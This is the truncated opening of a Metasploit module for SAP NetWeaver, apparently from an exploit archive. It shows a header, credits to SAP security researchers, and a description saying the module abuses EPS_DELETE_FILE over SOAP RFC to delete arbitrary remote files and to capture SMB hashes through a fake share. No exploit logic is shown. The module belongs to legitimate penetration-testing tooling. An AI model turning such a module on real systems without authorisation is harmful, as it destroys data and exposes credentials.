SAP SOAP EPS_DELETE_FILE File Deletion

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# This module is based on, inspired by, or is a port of a plugin available in  
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -  
# http://www.onapsis.com/research-free-solutions.php.  
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts  
# in producing the Metasploit modules and was happy to share his knowledge and  
# experience - a very cool guy.  
#  
# The following guys from ERP-SCAN deserve credit for their contributions -  
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and  
# Dmitry Evdokimov.  
#  
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis  
# who have Beta tested the modules and provided excellent feedback. Some people  
# just seem to enjoy hacking SAP :)

'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion',  
'Description' => %q{  
This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP  
RFC Service, to delete arbitrary files on the remote file system. The module can  
also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
